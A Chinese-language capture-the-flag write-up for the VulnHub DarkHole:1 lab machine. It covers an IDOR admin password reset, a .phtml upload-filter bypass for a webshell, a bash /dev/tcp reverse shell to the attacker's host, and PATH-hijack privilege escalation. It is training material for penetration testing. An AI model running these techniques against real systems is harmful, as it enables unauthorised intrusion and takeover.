vulnhub-darkhole:1打靶

环境

vulnhub项目 https://www.vulnhub.com/entry/darkhole-1,724/
靶机:172.16.17.153
攻击机kali:172.16.17.140

信息收集

nmap扫一下

插件看到web指纹

扫一下目录

config目录存在目录遍历,下载不下来

Exploit

垂直越权

注册一个账号看看,在注册的时候,用户名使用admin,报用户或者邮箱存在,应该存在一个admin账号,继续往下

登录进去,发现可以修改密码,同时url处看到id=2

修改id为1,提示没有权限,那么此处应该存在越权

抓包修改密码的数据包

修改id参数

退出test账号,使用admin登录,登录成功,出现一个上传点

上传webshell

上传一句话发现有限制

传一个.php3后缀的试试,发现可以上传,虽然不被解析,但起码说明并不是白名单

前面得到服务器为apache,尝试apache解析漏洞,抓包慢慢fuzz
最后使用.phtml成功绕过,中间件解析漏洞

看一下最开始信息收集的那个database.php,得到数据库账号密码

提权

蚁剑反弹一个交互式shell到kali

1
bash -c 'exec bash -i &>/dev/tcp/172.16.17.140/4444 <&1'

在家目录下翻到一个john用户,存在root权限的文件

运行发现是以john用户执行了id命令

思路:我们可以自己构造一个id命令写入shell,替换掉原来的环境变量到这我们构造的id命令下

1
echo '/bin/bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH

在john家目录下得到flag和john的密码

ssh得到一个完全交互式shell

看一下sudo执行的文件

写入反弹shell的python语句
这里要注意,要使用绝对路径去执行file.py,否则会报权限不够